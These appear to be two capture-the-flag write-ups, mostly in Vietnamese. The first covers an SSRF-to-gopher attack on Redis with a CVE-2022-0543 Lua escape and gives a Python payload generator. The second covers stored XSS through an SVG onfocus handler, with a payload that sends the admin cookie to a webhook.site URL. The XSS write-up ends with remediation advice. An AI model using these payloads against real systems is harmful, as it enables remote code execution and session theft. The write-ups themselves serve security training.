TL;DR / Attack Chain#

1
[Preview SSRF Filter Bypass]
2
       │ (Shortlink localhost:5000)
3
       ▼
4
[302 Redirect to gopher://redis:6379]
5
       │ (pycurl PROTO_ALL)
6
       ▼
7
[Internal Redis Command Injection (Unauth)]
8
       │ (CVE-2022-0543 Lua Sandbox Escape)
9
       ▼
10
[Root RCE in Redis Container] ──► Read /flag.txt

Frontend Disclosure#

Kiểm tra HTML source code phát hiện comment nhạy cảm do đội ngũ DevOps để lại:

1
<!--
2
  Linkspire frontend build 1.4.2
3
  TODO(sre): our internal redis box (redis:6379) is still wide open, no auth.
4
  lock it down before we go public. -devops
5
-->

Thông tin thu thập:

• Backend giao tiếp với internal Redis instance tại host redis:6379 không có mật khẩu.
• Web app chạy tại localhost:5000.

Source Code Audit via Arbitrary File Read#

Ứng dụng có 2 endpoint chính: /api/shorten và /api/preview.

Do tính năng Preview hỗ trợ mọi scheme khi làm theo chuyển hướng (redirect), ta có thể đọc file hệ thống bằng cách tạo shortlink trỏ tới file local:

1. Rút gọn URL: file:///app/app.py
2. Preview shortlink vừa tạo để đọc toàn bộ source code backend.

1
@app.route("/l/<token>")
2
def follow(token):
3
    # ... decode token ...
4
    resp = Response(status=302)
5
    resp.headers["Location"] = target
6
    return resp

1
if parsed.scheme not in ("http", "https"):
2
    return jsonify(error="Only http/https URLs can be previewed."), 400
3
if host_is_internal(parsed.hostname):
4
    return jsonify(error="Refusing to fetch an internal/private address."), 400

1
c.setopt(c.FOLLOWLOCATION, True)
2
c.setopt(c.PROTOCOLS, pycurl.PROTO_ALL)
3
c.setopt(c.REDIR_PROTOCOLS, pycurl.PROTO_ALL)

Step 1: Confirming Gopher -> Redis SSRF#

Thực hiện kiểm tra kết nối tới Redis thông qua protocol gopher://:

1
PING
2
QUIT

Chuyển đổi sang định dạng RESP (Redis Serialization Protocol):

1
*1\r\n$4\r\nPING\r\n*1\r\n$4\r\nQUIT\r\n

Gopher payload: gopher://redis:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A

Response trả về từ preview chứa +PONG xác nhận đã có thể gửi lệnh thành công tới Redis.

Step 2: Failed Paths & Pivot Analysis#

Trong quá trình khai thác, một số hướng đi chuẩn của Redis đã bị loại trừ:

• Shortlink Poisoning: Phân tích source code cho thấy shortlink xử lý hoàn toàn qua Base64 token trên Flask, không đọc dữ liệu từ Redis.
• RDB Webroot Write (CONFIG SET dir): Redis nằm ở một Docker container độc lập, không dùng chung volume /app hay /var/www/html với Web container.
• Cronjob RCE: Kiểm tra quyền ghi cho thấy Redis chạy dưới user hạn chế, chỉ có quyền ghi vào /var/lib/redis và /dev/shm. Thao tác SAVE vào /etc/cron.d thất bại (Permission denied).
• Web Container LFI to Flag: Đọc file qua file:// chỉ truy cập được filesystem của Web container. Tuy nhiên, flag nằm ở một container khác (Redis container).

Step 3: Redis Lua Sandbox Escape (CVE-2022-0543)#

Thực hiện lệnh INFO thu được thông tin môi trường:

• Redis Version: 5.0.7
• OS: Ubuntu / Debian

Phiên bản Redis cài đặt từ package manager của Debian/Ubuntu dính lỗ hổng CVE-2022-0543 do thư viện Lua không được đóng băng đúng cách, cho phép load thư viện io gốc của hệ thống thông qua package.loadlib.

1
local f = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io');
2
local io = f();
3
local p = io.popen('COMMAND_HERE', 'r');
4
local r = p:read('*a');
5
p:close();
6
return r

Payload Generator (Python Script)#

Do giao thức RESP yêu cầu tính toán chính xác độ dài chuỗi (Byte Count), việc viết tay dễ dẫn đến lỗi Protocol error: expected '$'. Sử dụng script sau để khởi tạo payload chuẩn xác:

1
from urllib.parse import quote
2

3
def build_gopher_payload(cmd: str) -> str:
4
    lib_path = "/usr/lib/x86_64-linux-gnu/liblua5.1.so.0"
5
    lua_script = (
6
        f"local f=package.loadlib('{lib_path}','luaopen_io'); "
7
        f"local io=f(); "
8
        f"local p=io.popen([[{cmd}]],'r'); "
9
        f"local r=p:read('*a'); "
10
        f"p:close(); "
11
        f"return r"
12
    )
13

14
    script_bytes = lua_script.encode('utf-8')
15

16
    # RESP Format: EVAL <script> 0
17
    resp_payload = (
18
        f"*3\r\n"
19
        f"$4\r\nEVAL\r\n"
20
        f"${len(script_bytes)}\r\n{lua_script}\r\n"
21
        f"$1\r\n0\r\n"
22
        f"*1\r\n$4\r\nQUIT\r\n"  # Lệnh QUIT giúp đóng socket ngay lập tức tránh Timeout
23
    )
24

25
    return "gopher://redis:6379/_" + quote(resp_payload)
26

27
# Example: Đọc file flag
28
print(build_gopher_payload("cat /flag.txt"))

Execution Steps#

1. Chạy script để tạo payload gopher://redis:6379/... chứa lệnh cat /flag.txt.
2. Gửi payload vào endpoint /api/shorten để lấy shortlink dạng http://localhost:5000/l/<token>.
3. Gửi URL shortlink thu được vào /api/preview.
4. Web server thực hiện fetch -> redirect sang Gopher -> gửi lệnh Lua đến Redis -> nhận kết quả flag.

1
Preview Response:
2
bdsec{Deb1an_R3d1s_lua_sandb0x_esc4pe_thr0ugh_a_g0pher_h0le}

TL;DR / Attack Chain#

1
[Create Support Ticket]
2
       │ (ứng dụng cho phép HTML formatting)
3
       ▼
4
[Weak BDSEC Firewall™ Blacklist]
5
       │ (chỉ chặn một số signature phổ biến)
6
       ▼
7
[Stored HTML Injection in ticket-body]
8
       │ (HTML và attribute được render thành DOM thật)
9
       ▼
10
[Report Ticket to Admin]
11
       │ (admin mở ticket nhưng không click link)
12
       ▼
13
[SVG + autofocus + onfocus]
14
       │ (event tự kích hoạt khi trang được mở/focus)
15
       ▼
16
[Stored XSS in Admin Browser] ──► Exfiltrate admin cookie / retrieve flag

Initial Functionality#

Ứng dụng là một support desk đơn giản. Người dùng có thể đăng ký, đăng nhập, tạo ticket, xem ticket đã gửi và report ticket để admin review.

Ở trang chủ có hai gợi ý khá quan trọng:

1
Formatting is supported.
2
An administrator reads every reported ticket.

Hai câu này cho thấy nội dung ticket có khả năng được render dưới dạng HTML/formatting, đồng thời ticket sau khi report sẽ được admin mở để đọc. Đây là dấu hiệu rất giống một bài stored XSS.

Basic XSS Attempts#

Payload đầu tiên được thử là dạng classic:

1
<script>
2
  alert("XSS");
3
</script>

Request bị chặn bởi firewall custom của challenge:

1
Request blocked by BDSEC Firewall™
2
Your ticket contained content that matched a malicious signature and was not saved.
3

4
Signature: SCRIPT_TAG

Một số payload phổ biến khác cũng bị chặn:

1
<iframe>   → IFRAME_TAG
2
<object>   → OBJECT_TAG
3
alert      → ALERT
4
<img ...>  → bị chặn hoặc bị render thành text tùy context

Từ đây có thể thấy ứng dụng không dùng sanitizer chuẩn, mà có vẻ dùng blacklist để phát hiện một số pattern nguy hiểm thường gặp.

Testing Allowed Formatting#

Vì trang chủ nói rằng formatting được hỗ trợ, mình thử các thẻ HTML vô hại hơn:

1
<h1>TEST</h1>
2
<a href="https://example.com" title="t" class="c" id="i">X</a>
3
<div class="box">Y</div>
4
<span id="s">Z</span>

Các thẻ này được render thành HTML thật trong trang ticket.

Trong DevTools, phần nội dung ticket xuất hiện dưới dạng các DOM node thật bên trong:

1
<div class="ticket-body">
2
  <h1>TEST</h1>
3
  <a href="https://example.com" title="t" class="c" id="i">X</a>
4
  <div class="box">Y</div>
5
  <span id="s">Z</span>
6
</div>

Điều này xác nhận rằng user input không được escape an toàn trước khi render ra page.

Why a Normal Link Was Not Enough#

Ban đầu mình thử dùng một link canary đơn giản:

1
<a href="https://webhook.site/...">Click me</a>

Tuy nhiên webhook không nhận request.

Từ đó rút ra hành vi quan trọng:

• admin có mở ticket sau khi report;
• nhưng admin không click vào link trong ticket.

Vì vậy payload cần tự kích hoạt khi ticket được mở, không được phụ thuộc vào thao tác click của admin.

Failed / Eliminated Paths#

Một số hướng phổ biến không dùng được:

• <script> bị chặn bởi SCRIPT_TAG.
• <iframe> bị chặn bởi IFRAME_TAG.
• <object> bị chặn bởi OBJECT_TAG.
• Từ khóa literal alert bị chặn bởi ALERT.
• Link <a href=...> bình thường cần người dùng click, trong khi admin không click.
• Cách encode trong tên attribute như onload không hiệu quả, vì HTML entity không được decode trong tên attribute.

Yêu cầu của payload lúc này là phải tìm một cấu trúc HTML/SVG được phép render, có event tự chạy khi trang được mở.

1
Find an allowed HTML/SVG structure with an event that triggers without a user click.

Working Primitive: SVG + autofocus + onfocus#

Hướng khai thác thành công là dùng SVG kết hợp với thẻ anchor.

Payload dựa vào các điều kiện sau:

• <svg> được render thành DOM thật;
• <a> được phép nằm trong SVG;
• attribute autofocus được giữ lại;
• attribute onfocus được giữ lại;
• không có CSP nên inline handler có thể chạy.

Payload PoC để xác nhận XSS:

1
<svg width="200" height="200" xmlns="http://w3.org" xmlns:xlink="http://w3.org">
2
  <a
3
    xlink:href="#"
4
    autofocus="true"
5
    onfocus="new Image().src='https://webhook.site'; &#x61;lert(String.fromCharCode(88,83,83))"
6
  >
7
    <text x="20" y="100" fill="blue" font-size="20" style="cursor:pointer;">
8
      Click Me!
9
    </text>
10
  </a>
11
</svg>

Firewall chặn từ khóa literal alert, nên ký tự đầu tiên được encode bằng HTML entity:

1
alert

Khi browser parse HTML, a được decode thành chữ a, từ đó tạo thành:

1
alert;

Chuỗi XSS cũng được tạo bằng JavaScript thay vì viết trực tiếp:

1
String.fromCharCode(88, 83, 83);

Final Payload#

Sau khi xác nhận JavaScript có thể chạy, payload được đổi sang gửi cookie của admin về webhook.

1
<svg
2
  width="200"
3
  height="200"
4
  xmlns="http://www.w3.org/2000/svg"
5
  xmlns:xlink="http://www.w3.org/1999/xlink"
6
>
7
  <a
8
    xlink:href="#"
9
    autofocus="true"
10
    onfocus="fetch('https://webhook.site/d81a9905-7add-4e08-86ec-c5aa957d0cc2?c='+btoa(document.cookie))"
11
  >
12
    <text x="20" y="100" fill="blue" font-size="20" style="cursor:pointer;">
13
      Click Me!
14
    </text>
15
  </a>
16
</svg>

Payload Breakdown#

Đoạn sau tạo SVG context được ứng dụng chấp nhận và render:

1
<svg ...></svg>

Đoạn sau tạo một SVG anchor có thể nhận focus. Khi trang được mở, autofocus khiến element nhận focus và kích hoạt onfocus:

1
<a xlink:href="#" autofocus="true" onfocus="..."></a>

Đoạn JavaScript sau gửi cookie hiện tại về webhook:

1
fetch("https://webhook.site/... ?c=" + btoa(document.cookie));

Cookie được base64 encode để tránh lỗi ký tự đặc biệt trong URL:

1
btoa(document.cookie);

Exploitation Steps#

1. Tạo một ticket mới.
2. Đưa SVG payload vào phần body của ticket.
3. Submit ticket.
4. Report ticket cho admin.
5. Chờ admin bot/user mở ticket.
6. Webhook nhận cookie đã được encode.
7. Decode cookie, dùng session đó để truy cập ngữ cảnh admin hoặc lấy flag trong môi trường CTF.

Key Takeaways#

1. Blacklist filtering is fragile.
   Chỉ chặn các chuỗi phổ biến như script, iframe, object, alert… là không đủ.

2. HTML formatting support must be carefully sandboxed.
   Nếu muốn hỗ trợ formatting, ứng dụng cần sanitize nội dung bằng allowlist chặt chẽ.

3. Event attributes are dangerous.
   Các attribute như onfocus, onclick, onload không nên được phép xuất hiện trong user-generated content.

4. CSP would reduce impact.
   CSP nghiêm ngặt có thể chặn inline script và làm việc khai thác khó hơn.

5. Admin review flows are high-risk sinks.
   Nội dung mà admin mở phải luôn được xem là untrusted input và cần render an toàn.

Recommended Fixes#

• Escape nội dung ticket theo mặc định trước khi render.
• Nếu cần hỗ trợ formatting, dùng sanitizer trưởng thành như DOMPurify với allowlist chặt.
• Loại bỏ toàn bộ event-handler attributes khỏi nội dung do user nhập.
• Không cho phép SVG nếu không thực sự cần thiết.
• Thêm Content Security Policy nghiêm ngặt, ví dụ:

1
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

• Cấu hình cookie session với các thuộc tính bảo vệ:

1
HttpOnly; Secure; SameSite=Lax